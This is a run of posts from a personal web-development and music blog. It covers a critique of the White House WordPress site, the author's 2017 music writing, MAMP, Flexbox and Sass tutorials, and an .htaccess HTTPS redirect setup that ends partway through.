Using W3 Total Cache is interesting because that plugin has so many settings that I wonder what it’s actually there for—presumably, you would want a serious server cache running on this kind of site with Varnish or Nginx, vs. making a page cache with a plugin.

Here’s the message from the bottom of the cached page I visited:

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.w3-edge.com/products/

Object Caching 1900/91 objects using memcached
Minified using memcached

Served from: www.whitehouse.gov @ 2017-12-31 19:51:29 by W3 Total Cache -->

I’m not a W3TC user (Rawkblog uses KeyCDN’s Cache Enabler) but this suggests it is making a page cache, yes?

Memcached is a fine choice for object cache, though it seems like many devs are moving on to Redis lately. I’m imagining a White House sysadmin reading Digital Ocean tutorials and trying to figure out how to install it.

Tools

WhiteHouse.gov is using Google Analytics for traffic stats, New Relic for server performance metrics, and Salesforce’s Lightning platform to load CSS. It’s also using the WordPress plugins Yoast SEO, Google Analytics by MonsterInsights, and W3 Total Cache.

Yes, the White House is really using the same free plugins as your site. These are some of the most popular plugins WordPress has, and I have to wonder if the devs just went to the WordPress.org plugin repository and grabbed the top picks. Nothing custom? No Autoptimize, even? Curious.

Code

There’s an <h1> tag on the top article on the homepage, which was supposed to be a best practice when HTML5 launched, but as the browser outline hasn’t actually been implemented… for SEO and semantic accuracy, they really should put the <h1> on the “White House” homepage site title instead and go down the heading hierarchy for page links. The same module is wrapped in <div> tags instead of <article>, which is not semantic, either. This theme needs some work for SEO and accessibility—I’m sure they have the best people working on it.

There are some target="blank" anchor links in here, which is a bad security practice. If they must force open new tabs, they should also include rel="noreferrer noopener" to prevent tab hijacking.

Media

The White House logo is a .png and not an .svg, which is mystifying (and a bit amateurish) because there are other .svg images on the page, including the presidential crest.

Images throughout the page are also a hot mess, going back and forth between .png and .jpg images and not serving .webp files on Chrome, which is a considerable waste of bandwidth for a site this highly trafficked. Your tax dollars at work.

Final Grades:

• A for security
• A- for performance
• B for theme design
• C for image optimization

It’s nice to see WordPress make it into the highest levels of government—I can only hope the Trump administration’s FCC isn’t allowed to obliterate the generous, inspired community which created it and gave it away.

The post Grading the White House’s WordPress website first appeared on Rawkblog.

A funny thing happened on the way to me getting out of the dying business of music journalism: I got laid off, just like everybody else I know. I spent the second half of 2017 working on a book proposal, learning everything from Sass to Nginx configuration for my new career as a giant web nerd, and writing the occasional freelance piece. But before that I continued living my personal dream of the ’00s: being a full-time newspaper music critic who got paid to write stories about Radiohead and hip-hop newcomers and a woman who buys unpublished Stevie Nicks photos on eBay.

I worked super-hard on all of this and I’m proud to share it here. Thanks for reading. More to come from me soon, including an albums of the year list and 2018 plans.

Ryan Adams in Portland: A music critic’s last word

My final piece as the Oregonian music critic, a love letter to my (former?!) profession and my favorite musician.

More than anything, I’ve wanted my work to capture the transcendence great music–at the Moda Center, at Edgefield, at Bunk Bar–can bring, the unmistakable lift of a chorus and 100-plus decibels. The way the lights go down and phones and lighters go up, the world for a few minutes the size of the room and the shape of a perfect song. In those moments, there is no president, no division, no fear or money or pain. There’s only music, and I believe in music.

Oregon Stevie Nicks super-fan shows off her Fleetwood Mac museum

“I don’t want to say I’m in debt,” Anita Kayed said, laughing in her King City living room and surrounded by a lifetime of Stevie Nicks and Fleetwood Mac memorabilia: signed posters, decades of scrapbooks, unpublished photos, buttons, mugs, flowers from Nicks’ mic stand and hundreds of records, CDs and eight-track tapes from China to the former nation of Czechoslovakia.

When Stevie Nicks comes to the Moda Center on Feb. 28, Kayed is planning on being in her usual spot: the front row, looking up at her icon.

Did this man make your favorite Portland album?

I sat down with Larry Crane, Elliott Smith’s archivist, Tape Op editor, Portland music producer and sweetheart guy, to talk about 20 years of his Jackpot Studio.

The Last Artful, Dodgr and her Eyrst squad want Portland on the hip-hop map

If Dodgr’s ever nervous, she doesn’t show it. Not on “Sway in the Morning,” where over 40 minutes, she told her life story as a Los Angeles kid who witnessed the L.A. riots; explained the levels of her stage name (a nod to L.A., childhood nickname La Di Da Di, and her luck with persuasion); delivered a soulful a cappella freestyle in that singular, Auto-Tune-free voice; and parried questions about her sexuality.

“There’s no reason to hide away from who I am,” she told the “Sway” crew. “That’s like saying, I’m not black. That’s like saying, I’m not a woman. I am America, right here. I’m a black queer woman and I’m killing it. There’s no way I wouldn’t just put myself out there, just 100 percent.”

Review: The radical self-love of Lorde’s Melodrama

But if Lorde admits to her wild personality, she also claims it, revels in it, laughs at it, grapples with the power and burden of being herself. “Melodrama” is about owning your emotions all the way through, in love or out: it is vulnerable and real and paints in every color, green lights and dark Picasso blue. To paraphrase another drama queen, if you can’t handle Lorde at her worst, you don’t deserve her at her best.

Radiohead: Finding humanity in rock’s most paranoid androids

My Oregonian cover story about the best rock band of our time.

On a night that made Los Angeles remember what rain feels like, I buckled into the back seat of my parents’ car and scratched apart a plastic wrapper, opened a jewel case, and snapped a CD into my Sony Discman. Distorted wind blew across my headphones. Chords shimmered and echoed and burst suddenly into guitar flames.

“Oh wow,” I thought in the back seat, the 101 freeway a blur of raindrops and headlights. “Oh wow.”

The CD played all the way through, and I stared out the window, the music centers of my brain changing color and shape like a butterfly tearing out of a cocoon.

That was the first night I listened to Radiohead.

The xx in Portland: Indie’s minimalist masters in full color

And so the xx have done that rarely successful thing: evolved. At the Coliseum on Sunday, they opened with “Say Something Loving,” a standout from this year’s I See You: it kicked off with a ’70s psych-pop sample and expanded from there, Croft and Sim as urgent and confident as they’ve ever sounded. It would be easy to mistake their old material’s simplicity as a kind of slacker shrug: in retrospect, it was probably just shyness. There was a little of that on Sunday, as Croft admitted to nerves before a solo performance of the wounded ballad “Performance,” but more often, they were masterful in delivering a new sound.

David Crosby interview: ‘You hope to wake people up’

Got to spend 8 minutes talking to a rock icon before our connection cut out.

DG: You’ve seen a lot of protests and protest songs come and go. What you think now about the power of a protest song, and if you write a political song, what do you hope to accomplish with it?

DC: Well, you hope to wake people up, to make ’em take notice. It’s part of our job. Most of our job is to make you boogie, or make you happy, take you on little emotional voyages, but part of our job comes clear back to the Middle Ages, when we were the troubadours, the town criers. People who brought the news. So it is part of our gig to say “Hey, it’s 12 o’clock and all’s well,” or, “It’s 12 o’clock and you just elected a maniac to run the country and it’s really screwing things up.” It’s not all of our job but it is part of our job and I like to do it when it’s appropriate.

What It’s Like To Watch Netflix’s ‘Mitt’ Romney Documentary In The Age of Trump

Most of my politics writing this year was me screaming about the president on Twitter but I did go deeper on this one, about the surreal intimacy of a documentary whose moment has already passed into distant history.

Even if you didn’t know he was mere months removed from a principled, pre-election speech calling Trump “a phony, a fraud,” who was “playing the members of the American public for suckers,” the humiliation is thicker than the butter on his sautéed frog legs. You can almost hear the record scratching, the frame freezing, the narrator’s voice: Yup, that’s me, Mitt Romney. You’re probably wondering how I got into this mess.

Election Day and what came after

A meditation on grief I wrote for Ryan Sartor’s reading series.

Hours passed, votes came in, and the needle kept pushing. By the time the Democrats got good news—Governor Kate Brown was elected—the needle was all the way into the red section. The color of hearty American blood.

Live review: U2 takes on The Joshua Tree and Trump in Seattle

The Joshua Tree is 30 now, and after the iTunes-spamming controversy of the band’s last album release, cynics might call an anniversary tour a retreat. But how could it be? Its questions still float in the air. Its conflicts—like the working-class plight of “Red Hill Mining Town”—still rage. And its music still seeks grace with fury and beauty, force and vulnerability.

Upstream 2017 review: Beta-testing the Northwest’s next new music festival

Recapping marathon new music festivals across the country (and one time in Manchester) is probably my favorite thing I got to do as a critic over the last 7 or 8 years.

Most festivals cover “new music,” but Upstream, which ran Thursday through Saturday on the dime of Microsoft billionaire/arts patron Paul Allen and his company Vulcan, is not Coachella or Bonnaroo, outdoor fests that draw tens of thousands for big names, fashion looks and Snapchat storytelling, and campsite partying. Instead, it mirrored the mission of Austin’s SXSW: a city takeover to showcase emerging artists for curious fans and industry notables alike, with a daytime conference to share wisdom and networking opportunities.

The post My Best Writing of 2017 first appeared on Rawkblog.

Web development tool MAMP is a local server app which I love because it’s 1) free 2) it’s a little bit hard to use, which forces you to dig into the code and learn things to get it to work. Here are three things I’ve learned lately to make it work better for WordPress projects.

I’m using MAMP version 4.2.1 on a MacBook Air running macOS High Sierra.

Use the ImageMagick library

MAMP’s PHP libraries come packaged with ImageMagick, a superior processor for working with images via the WordPress Media Library than GD. ImageMagick won’t strip color profiles from images by default, has compatibility with more file types (like making thumbnail previews for PDFs), has excellent optimization and resizing features and is what WordPress will use when it’s available. So let’s make it available for our development.

The ImageMagick integration for PHP is called Imagick. To turn it on, we just have to uncomment one line of code from the PHP version we’re using.

Check your PHP version in the MAMP preferences. You’re using PHP7, right?

In the Applications folder, navigate to MAMP > bin > php and chose your version. I’m using php7.1.8. Open the conf folder and open the php.ini file with a text editor.

Here’s the full file path we’re looking for for this version:

/Applications/MAMP/bin/php/php7.1.8/conf/php.ini

We can open it with a text editor with a Terminal command. I’m using Atom, but you could open it with a native command line editor such as Nano.

$ atom /Applications/MAMP/bin/php/php7.1.8/conf/php.ini

(If you’re new to Terminal, don’t type the $. It’s there to indicate you’re on the command line when using the command and not writing some other code.)

In the php.ini document we’re looking for this line:

;extension=imagick.so

The ; marks a comment. Delete the semi-colon to un-comment it and enable the extension, save, and restart MAMP. Rinse and repeat for other PHP versions to activate ImageMagick on all of them. Make sure to test for any compatibility issues.

You can read more about ImageMagick and its workflow capabilities at Smashing Magazine.

Get WP-CLI to work with MAMP

WP-CLI is one of the biggest upgrades you can make to your WordPress development, but it can occasionally trip over MAMP. If you’ve installed WP-CLI in a typical location, it’s not using the same version of PHP as MAMP, which means commands like database imports can break. We just need to point it in the right direction.

We’ll do this by adding MAMP’s PHP folder to our bash path, so when we run WP-CLI commands from our shell session, it will be able to interact with the right PHP.

From the command line, open your bash profile with a text editor. Let’s use nano this time.

$ nano ~/.bash_profile

Now we’ll add the PHP path. I’m going to use PHP7.1.8 from above, except we need to point it to the /bin folder, not /conf folder we used to edit the php.ini file.

The full path is: /Applications/MAMP/bin/php/php7.1.8/bin

So we’ll add this line of text (without the $):

$ export PATH="/Applications/MAMP/bin/php/php7.1.8/bin:$PATH"

Save and exit the file and close and re-open Terminal. WP-CLI should be ready to go.

Thanks to Christopher Geary at Indigo Tree for sharing this fix.

As with the ImageMagick edit, if you upgrade your PHP version, you’ll have to do this process again.

Adding virtual servers for better domain names

If you’re using MAMP to work with a single WordPress installation, working with the http://localhost:8888/ URL isn’t bad. But if you add multiple site folders and are using code that looks at root directories, like moving WordPress core into its own folder, it’s better to fool the website into thinking its main folder is the end of the line—the same way web servers deal with multiple sites on the same computer. Each one of these directories is called a virtual host, and enables a folder to connect to a domain name through an IP address and act as an independent website.

It would also just be nicer to type in rawkblog.test or rawkblog.dev instead of localhost:8888/rawkblog every time you’re loading the site, and then again every time you have to do a search-replace to change the site name when you send it up to a live website.

Since we’re using MAMP to create a local server, it’s pretty straightforward to use either Apache or Nginx—the two web server options MAMP gives us—to create a virtual host, the same way we would on a web server. I’m doing this with Apache, which is the more common WordPress option.

We’ll create the virtual host first and then use the macOS host file to give the domain name a local IP address, the local version of setting up a public domain name with Hover or Godaddy.

This is a great opportunity to safely test stuff like domain redirects, how .htaccess works, and general server configuration—if you’re interested. Dig through Digital Ocean’s tutorial library. But here’s how to get your dev site set up properly.

Find your document root in MAMP preferences. This is the directory you have your website folders. Mine is in Users/Greenwald/code/sites. (The capitalizations matter.)

While you’re in MAMP, we’re also going to set it to “listen” on the standard port, 80, so we strip the 8888 from our custom URLs. In preferences > ports, set the Apache port to 80. You can leave Nginx and MySQL the same. If you’re having issues with your sites later or want to go back to the old localhost:8888 domains, you can put this back in.

Next we need to enable virtual hosts on our local server. This is a feature of MAMP Pro, but we can do it by hand. We need to open the httpd.conf document MAMP’s Apache configuration folder. Navigate to Applications > MAMP > conf > apache > httpd.conf, or just open it in your text editor from the command line:

$ atom /Applications/MAMP/conf/apache/httpd.conf

There’s a lot of information in here we don’t want to touch. Find these two lines. They’re on like 574 and 575 in my installation.

# Virtual hosts
#Include /Applications/MAMP/conf/apache/extra/httpd-vhosts.conf

Just as we did with ImageMagick, we’re to remove the comment to enable the file. This time, the # mark on the Include line is setting the comment. Delete it. Leave the hashtag on # Virtual hosts: that’s a comment (in this case, a section heading), not code, and it should stay that way.

In the same document, we need to make one more change.

<Directory />
    Options Indexes FollowSymLinks
    AllowOverride None
</Directory>

We want to allow overrides, for reasons I can’t 100% explain to you. Sorry. Change “None” to “All.”

<Directory />
    Options Indexes FollowSymLinks
    AllowOverride All
</Directory>

Save and close. Atom doesn’t have auto-save on by default and once in a while I lose code this way—make sure you actually save the file if you are using this editor.

We are now ready to use the virtual host configuration file we just enabled, httpd-vhosts.conf. Since we already have the file path, let’s open it up.

$ atom /Applications/MAMP/conf/apache/extra/httpd-vhosts.conf

If you’re not a command line person (and I have only been one for, like, two months), you can also just click into your Applications folder, dig your way down to it, and edit it with TextEdit. That is also totally fine. I actually made an alias link and saved it to my shortcuts folder so I don’t have to remember the file path every time I want to add a new website.

O.K., you have the file open. There is a lot of commentary explaining virtual hosts which is pretty interesting, but let’s just make our hosts for now. You’ll also see some example virtual hosts. Here’s what that should look like:

#
# Use name-based virtual hosting.
#
NameVirtualHost *:80

#
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for all requests that do not
# match a ServerName or ServerAlias in any  block.
#
<VirtualHost *:80>
    ServerAdmin webmaster@dummy-host.example.com
    DocumentRoot "/Applications/MAMP/Library/docs/dummy-host.example.com"
    ServerName dummy-host.example.com
    ServerAlias www.dummy-host.example.com
    ErrorLog "logs/dummy-host.example.com-error_log"
    CustomLog "logs/dummy-host.example.com-access_log" common
</VirtualHost>

<VirtualHost *:80>
    ServerAdmin webmaster@dummy-host2.example.com
    DocumentRoot "/Applications/MAMP/Library/docs/dummy-host2.example.com"
    ServerName dummy-host2.example.com
    ErrorLog "logs/dummy-host2.example.com-error_log"
    CustomLog "logs/dummy-host2.example.com-access_log" common
</VirtualHost>

You can delete all of this section and replace it with the code below. Anything that’s commented (with a #), you can leave as it is, but we need to add this code with no comments:

NameVirtualHost *:80

# Base configuration for sites without their own virtual host
<VirtualHost *:80>
 DocumentRoot "/Users/YourUser/code/sites"
 ServerName localhost
</VirtualHost>

# My first site
<VirtualHost *:80>
 DocumentRoot "/Users/YourUser/code/sites/example"
 ServerName example.test
</VirtualHost>

We’ve set up virtual hosts at port 80, set a default virtual host location (localhost, formerly localhost:8888) for site folders that don’t have their own virtual hosts yet, and set up a new virtual host for our example site.

Change the document root here to your own MAMP document root, user, etc., and change the information under the # My first site comment to the domain name you’d like to use.

I’m using the .test domain to differentiate the local site from the .com version I’ll be using publicly. Many developers have historically used .dev for this, but it’s now owned by Google and they are forcing HTTPS use with it, which can be an issue for local sites that haven’t set this up. .test, .example, .localhost are all reserved top-level domains that cannot be used online ever, making them safe for local development. You could also use .dev.cc, which is owned by the local development company DesktopServer, who announced recently they will be keeping it safe for devs. I would just use .test and call it a day.

If you plan on using other domains or subdomains with this local site, like a www. address, you can add those with the ServerAlias directive. Add as many lines of this as you like.

# My first site
<VirtualHost *:80>
 DocumentRoot "/Users/YourUser/code/sites/example"
 ServerName example.test
 ServerAlias www.example.test
</VirtualHost>

Now we need to tell our computer to point the local server IP to this virtual host. Before we do this, we need to make sure WordPress is ready—set your local site to the new URL you’ll be using so it’s ready to make the switch.

To point the domain in the right direction, we need the /etc/hosts file. /etc is a hidden folder above your computer user, directly under the Macintosh HD directory in the Finder. It’s easiest to open this with a text editor in the Terminal instead of going hunting for it.

I’ll open it with Atom as usual.

$ atom /etc/hosts

The line 127.0.0.1 localhost tells us we are already pointing our computer’s local IP (127.0.0.1) to the domain localhost, which means our new base virtual server configuration will work. Let’s add our example site in the line below it.

127.0.0.1 example.test

If you’d like to use another domain with this site, we also need to declare it here, so you might want to use:

127.0.0.1 example.test
127.0.0.1 www.example.test

Save and close. Restart MAMP if you haven’t already. You should now be able to open http://example.test in your browser and land on your local development site.

To repeat the process, add a new virtual host configuration to httpd-vhosts.conf and add a new line matching it to /etc/hosts.

There are other neat tricks you can do with the hosts file, including using it to test a domain with a real IP address. For example, you might have staging.example.com on IP address 1 and example.com on IP address 2. We want to move the example.com name to IP address 1 but want to test it first. You can use the hosts file to assign IP address 1 to example.com only on our computer, to make sure the staging.example.com site works under the new domain before making the switch. (Along with changing the site name in the database and so on.) But make sure to take this line out of your hosts file after you’ve changed the names and IPs online so there’s no confusion.

Thanks to Tania Rascia for her excellent walkthrough on virtual hosts with MAMP. Her site is a super-clear resource on a lot of dev topics.

Wrapping Up

Now your MAMP set-up has a powerful image processor, WP-CLI compatibility, and you can add as many custom domains as you want. Make some websites!

The post Improve MAMP for WordPress local dev with 3 upgrades first appeared on Rawkblog.

Decider let me write 10,000 words or so about the second season of Stranger Things, a sci-fi thrill ride I loved almost unconditionally. (Read all 10,000 for a breakdown of the conditions.) Here’s a recap of my recaps:

‘Stranger Things 2’ Episode 1 Recap: “Madmax”

With a cold open, Stranger Things 2 announces itself as a bigger, more unpredictable world than the high school hallways of Season 1. What else won’t we see coming?

With its buffet of influences, from sci-fi to horror, Stephen King to E.T., Stranger Things became a Netflix breakthrough in 2016—a work rich in 1980s genre nostalgia but also an evolution of it, a studious homage bursting with its own subversive new life. It felt more like an extended film (or a medium-size King book) than a TV show, and it’s fitting that the second season has dubbed itself with a movie sequel’s title.

‘Stranger Things’ Season 2 Episode 2 Review: “Trick or Treat, Freak”

What happened to Eleven, Stranger Things’ middle school Professor X? In the show’s final Season 1 battle, she and the monstrous Demogorgon both seemed to wink out of existence—shattering the door between Hawkins and the Upside Down dimension the young telepath blamed herself for opening. Or so we thought.

‘Stranger Things’ Season 2 Episode 3 Recap: “The Pollywog”

“The Pollywog,” episode 3 of Stranger Things 2, is an episode about possession: romantic, amphibious, demonic. Stranger Things is done clearing its throat in its third episode, and it begins to tip our heroes into discord and darkness.

‘Stranger Things’ Season 2 Episode 4 Review: “Will The Wise”

It’s worth remembering that Stranger Things season 1 was an intertwined mystery that carefully untangled: a missing boy, a mysterious girl, an invisible monster, Christmas lights sending messages from the beyond. It was about the unseen and the desperate power of belief. Stranger Things Season 2 has a different kind of urgency, the slower dread of turning to face the strange and finding it everywhere.

‘Stranger Things’ Season 2, Episode 5 Recap: “Dig Dug”

It begins and ends with Will. Like all proper sequels, Stranger Things 2 takes the heart of its predecessor’s central plot—the Upside Down has Will Byers—and repeats it with higher stakes. But creators the Duffer brothers have rarely met a trope they can’t twist, and Will’s conflict has been perfectly inverted: he doesn’t need to be saved from within the Upside Down. It’s the Upside Down inside of him that needs to be evacuated. That makes for a jagged, scarier narrative, one with less obvious solutions.

‘Stranger Things’ Season 2, Episode 6 Review: “The Spy”

In the same building where Eleven’s mother couldn’t save her child, Joyce is determined not to lose Will. She sits at the head of the table with Dr. Owens and his fellow white-coat scientists, their illusions of control over the Upside Down’s dimensional rupture and the forces within it evaporating. But their villainous need to hide their handiwork and avoid responsibility remains, even as Joyce refuses to be gaslit: “Can a single person in this room tell me what is wrong with my boy?” Hell hath no fury like Winona scorned.

‘Stranger Things’ Season 2, Episode 7 Review: The Lost Sister

Twitter and IMDB consensus is that this episode is the show’s worst, a judgment, I think, that has as much to do with the unexpected break in the binge-watching action as it does with the storyline. Because encountered on its own, this is the natural direction of Eleven’s arc—a journey through the past that takes her into the anguish and rage out to the other side, toward a way forward.

‘Stranger Things’ Season 2, Episode 8 Review: “The Mind Flayer”

“The Mind Flayer” asks its heroes to find their limits: of bravery, of friendship, of love, of cleverness, and the episode finds the best in all of them. As dark as “The Mind Flayer” gets, and it goes all the way down, there’s an optimism in its humanity.

‘Stranger Things’ Season 2 Finale Recap: “The Gate”

It wouldn’t be an ‘80s homage without a happy ending. Stranger Things 2’s wild ride concludes with climactic fights, underage driving, emotional catharsis, and Murray Bauman’s last laugh: Stranger Things could keep going after this, but there’s no need. This show has given us so much already.

Bonus:

‘Stranger Things’ Uses Nostalgia To Show Life Is The Real Horror Show

My Decider piece on Stranger Things’ first season from 2016.

The post Stranger Things 2 season recaps first appeared on Rawkblog.

Let’s say we have a very simple website with nav, main, and footer elements wrapped inside our body. Flexbox works by applying its flex status to the first level of children inside a parent: body is the parent.

body {
  display: flex;
}

Flexbox’s default is to arrange children in a row, but we want them in a vertical column, so we need another line of code.

body {
  display: flex;
  flex-direction: column;
}

Nothing’s happened to our footer yet. The flex children will flex to fill the available space of its parent, which means we need to give the body a height to fill.

body {
  display: flex;
  flex-direction: column;
  min-height: 100vh;
}

The vh unit is a percent measure of the height of the viewport window. Our site probably has more than one screen of content, so we’ll use min-height instead of height to set a minimum.

Our footer still isn’t in the right place. We’ll do that by telling main to take up the extra space on the page instead of leaving it for after our HTML finishes. Let’s give it our flex instructions.

main {
  flex-grow: 1;
}

This could also be written with the flex shorthand property, which incorporates flex-grow, flex-shrink, and flex-basis. That would look like this:

main {
  flex: 1 0 auto;
}

Fallbacks and Older Browsers

Flexbox won’t cause any problems in older browsers, it just won’t work and the footer will unstick. But vh units aren’t supported by Internet Explorer 8 or earlier browsers. If you’d like to make sure this technique won’t break your site on IE, we need to add fallback heights.

html {
  height: 100%;
}

body {
  display: flex;
  flex-direction: column;
  height: 100%;
  height: 100vh;
}

The percent unit measures its parent’s size, not the screen like vh and vw. So we need to set a new height on the HTML root for the body to use.

You’re thinking the body height should be a min-height. But as Chris Coyier noted on CSS Tricks in 2009: “IE treats ‘height’ how ‘min-height’ is supposed to be treated.”

Finally: Don’t forget to use prefixes on all the Flexbox stuff for browser compatibility.

Sticking It All Together

html {
  height: 100%; /* IE8 fallback */
}

body {
  display: flex;
  flex-direction: column;
  min-height: 100%; /* IE8 fallback */
  min-height: 100vh;
}

main {
  flex-grow: 1;
  /* or use the shorthand: */
  flex: 1 0 auto;
}

Test this code yourself on Codepen.

See the Pen Flexbox Sticky Footer with IE8 fallback by David Greenwald (@davidegreenwald) on CodePen.

Reference:
Solved by Flexbox: Sticky Footer

The post Make a Simple Sticky Footer with 4 Lines of Flexbox Code: Learn CSS first appeared on Rawkblog.

Getting Started

Sass has two syntaxes: we’re going to use “Sassy CSS,” which is identical to CSS, just with more good stuff. Sass files end with the extension .scss instead of .css. As such, they can’t be read by web browsers: you’ll need to compile your Sass code into a standard .css stylesheet. You can do that with the command line manually every time or automate it with a Grunt-y task-runner workflow, but if you’re not that advanced, you can do what I did: download the open-source Koala app to take care of it for you.

Setting Up Koala

After installing Koala, pick a project to work on. Make a new folder for Sass files and copy your old style.css over to it. Rename the file to the proper extension—style.scss—or just start a new file to work on. This new folder is in charge of our CSS from now on, and we’ll use it to generate a new style.css file.

Drag the Sass folder into Koala and you’re almost ready. In the settings, check “auto compile” (to generate a new .css file every time you can make a change, magic!) and choose “nested” or “expanded” (standard CSS with no extra indentations) as your output style. You can use “compressed” if you want Koala to minify your CSS for production.

Not a Sass trick, just a bonus: you can set up the Autoprefixer here if you don’t have it running elsewhere. I’m running it as a package in my text editor, Atom.

Right-click the file in the main Sass window to set the “output path”: this is where you want your compiled stylesheet.css file to land so the rest of your project can read it.

(If you don’t want to accidentally overwrite a stylesheet in a current project with anything funky, now would be a good time to save a copy or use your version control.)

Organization

Sass can compile multiple .scss files into a single .css stylesheet. These are called partials and the files begin with an underscore.

Let’s say you want to add a CSS reset like normalize.css to your final stylesheet. You could add it as a partial as _normalize.scss in your Sass folder. (Remember, ordinary CSS works perfectly in an SCSS file: you can drop in Normalize.css by simply renaming it.)

In your stylesheet.scss, you can call it up with the @import command, like this:

/* Some CSS */

@import "normalize";

/* Everything from normalize.scss will show up right 
* here in your final stylesheet.css, go look! */

/* More CSS */

Sass uses standard CSS multi-line comments like /* this comment */ but it also adds PHP-style single-line comments with a double-forward-slash.

body {
  font-size: 16px; // Those comments look like this
}

// Aren't they easy to use?

Standard CSS comments will carry over from Sass to CSS but single-line comments will be stripped out, which is nice. (There shouldn’t be any comments on your public, client-side CSS.) It’s a small improvement, but good to know as you document your work.

Let’s try some real code.

Nesting

This is what made me want to use Sass. In regular, slightly annoying CSS, you have to write code like this:

p {
  line-height: 1.4;
  margin-bottom: 1rem;
}

p a {
  text-decoration: underline;
  color: red;
}

But in Sass, you can nest these two and write shorter, more understandable code that mirrors HTML hierarchy:

p {
  line-height: 1.4;
  margin-bottom: 1rem;
    
    a {
      text-decoration: underline;
      color: red;
  }
}

// This code will compile to the code in the first example

Don’t forget the closing brackets.

Let’s say you wanted to set all the text elements for an article:

.content { }
.content p { }
.content h1 { }
.content h2 { }
.content h3 { }

In Sass, you can write that as:

.content {
  p { }
  h1 { }
  h2 { }
  h3 { }
}

Or you could write this:

// Sass!

.content { 
  p { 
    font-size: 16px;
  }
  
  h1, h2 {
    font-size: 20px;
  }
}

Which gives you:

/* CSS output */

.content p { 
    font-size: 16px;
  }
  
.content h1, .content h2 {
    font-size: 20px;
  }

Amazing, right?

And you can keep nesting as deep as you like:

.content {
  p { 
    a { }
  }
}

Watch out: It's almost too easy with Sass to nest a few levels deep, but keep in mind that over-qualified selectors perform poorly and make your code less modular. Don't use .content p a when you could use .content a (or just a)

Parent Selectors

You can also use the & symbol in nesting to attach the parent to a pseudo-element or class, like this:

/* Boring CSS */

a { 
  text-decoration: underline;
}

a:hover {
  text-decoration: none;
}

// Exciting Sass

a { 
  text-decoration: underline;
  
  &:hover {
    text-decoration: none;
  }
}

You can also use & in a compound selector, a helping hand for grouping BEM-style code. Here's how the Sass official documentation explains it:

#main {
  color: black;
  &-sidebar { border: 1px solid; }
}

...compiles out to:

#main {
  color: black; }

#main-sidebar {
    border: 1px solid; }

Nesting Media Queries

Sass nesting allows you to attach media queries directly to selectors, rather than the other way around:

/* CSS */
body {
  font-size: 1em;
}

@media screen and (min-width: 800px) {
  body {
    font-size: 1.125em; /* 18px */  
  }
}

@media screen and (min-width: 1000px) {
  body {
    font-size: 1.25em;
  }
}

...can be written in Sass as:

// Sass
body {
  font-size: 1em;

  @media screen and (min-width: 800px) {
    font-size: 1.125em; 
  }

  @media screen and (min-width: 1000px) {
    font-size: 1.25em;
  }
}

You can also nest media queries one inside the other to combine them.

If this is all you did in Sass, it would be worth the switch. But this is just scratching the surface. Let me show you one more thing.

Variables

Variables are actually ready in vanilla CSS now, but don't have across-the-board browser compatibility. Sass is a safer and absurdly powerful option.

As they do in other programming languages, variables begin with a dollar sign. In Sass, they're written as a typical property-value pair.

$main-color: #ff0000; // red

Once you've defined a variable, you can use it wherever you want in your code—and update all the uses from a single place if you change a color or update a font-family. If you build your own framework or a WordPress starter theme (which I'm readying now) and make these sorts of updates regularly, this is kind of a game-changer.

$main-color: #ff0000; // red

.button {
  background-color: $main-color;
}

a {
  color: $main-color;
}

Variables use hypens (-) and underscores (_) interchangeably.

There's much more, including mixins (which store groups of selectors for repeated use), math, the @extend rule, Sass frameworks like Compass, and so on. But I promised you the easy stuff: I hope this is enough to get started and dive right in, as I am myself. Now, to refactor all my WordPress CSS...

Visit the Sass homepage below for more tips and tutorials.

Read More

Sass-lang.com official guide (starter page)
The official Sass reference

The post Learn Sass: Just the Easy Stuff first appeared on Rawkblog.

A few months ago, I tried to move this site, then Rawkblog.net, over to HTTPS encryption. Moving to HTTPS makes your visits to websites and any data you enter on them more secure: it’s important enough that it will also help a site’s rank in Google. But at the time, I couldn’t quite get it to work, thanks to a tangle of redirects between www and non-www versions of the site plus another domain name to wrangle, Rawkblog.com. So I switched to another problem, transferring Rawkblog from its old (slow) home at Bluehost over to a Digital Ocean VPS server (fast!) via Cloudways. After years at Rawkblog.net, this site finally became Rawkblog.com.

With that successfully accomplished, I turned back to the HTTPS problem yesterday. It took all day, again, but somehow, I got it to work with a chain of code I somehow haven’t seen anywhere else.

The problem

A second domain, Rawkblog.net, needed to redirect in a permanent, 301 way to Rawkblog.com to make sure over a decade of links land correctly over here.

Both the www and non-www versions of Rawkblog.net needed to point over, and the non-www version of Rawkblog.com needed to point to www.rawkblog.com to offer a single canonical site URL instead of duplicative versions.

And then, everything also needed to point to HTTPS.

I made these changes manually with the hidden .htaccess file in my site root, after turning off all my caching (the Breeze WordPress plugin and on the server level, Varnish), and used the incredible website HTTPSStatus.io to test multiple link paths simultaneously and clearly see the chain of redirects in action. With the cache off, the site responded instantly and didn’t need any cookie clearing or browser hijinks.

What didn’t work

It was easy enough to get parts of this to work: everything but HTTPS, or HTTPS for everything except the www.rawkblog.com site.

For instance, this If statement:

<If "%{HTTP_HOST} !='www.rawkblog.com'">
Redirect permanent / https://www.rawkblog.com/
</If>

This redirects everything except http://www.rawkblog.com over to the correct address by ordering: if this isn’t www.rawkblog.com, point it in the right direction. But it won’t change the www to https.

I looked through the Apache documentation and thought this would work:

<If "%{SERVER_PROTOCOL} != 'HTTPS'">
Redirect permanent / https://www.rawkblog.com/
</If>

But it turns out this is a documentation error! The way to check on HTTP status is REQUEST_SCHEME. But that didn’t work for me, either.

I tried to do an old-fashioned mod_rewrite, like this:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</IfModule>

But this broke the site by creating an endless redirect loop. (HTTP Status said it made it 11 loops before cracking.)

The solution

Then I found two solutions that worked:

<IfModule mod_rewrite.c>
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Proto} !https
RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]

#WordPress standard redirect
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<If "%{HTTP_HOST} ='www.rawkblog.net'">
Redirect permanent / https://www.rawkblog.com/
</If>
<ElseIf "%{HTTP_HOST} ='rawkblog.net'">
Redirect permanent / https://www.rawkblog.com/
</ElseIf>

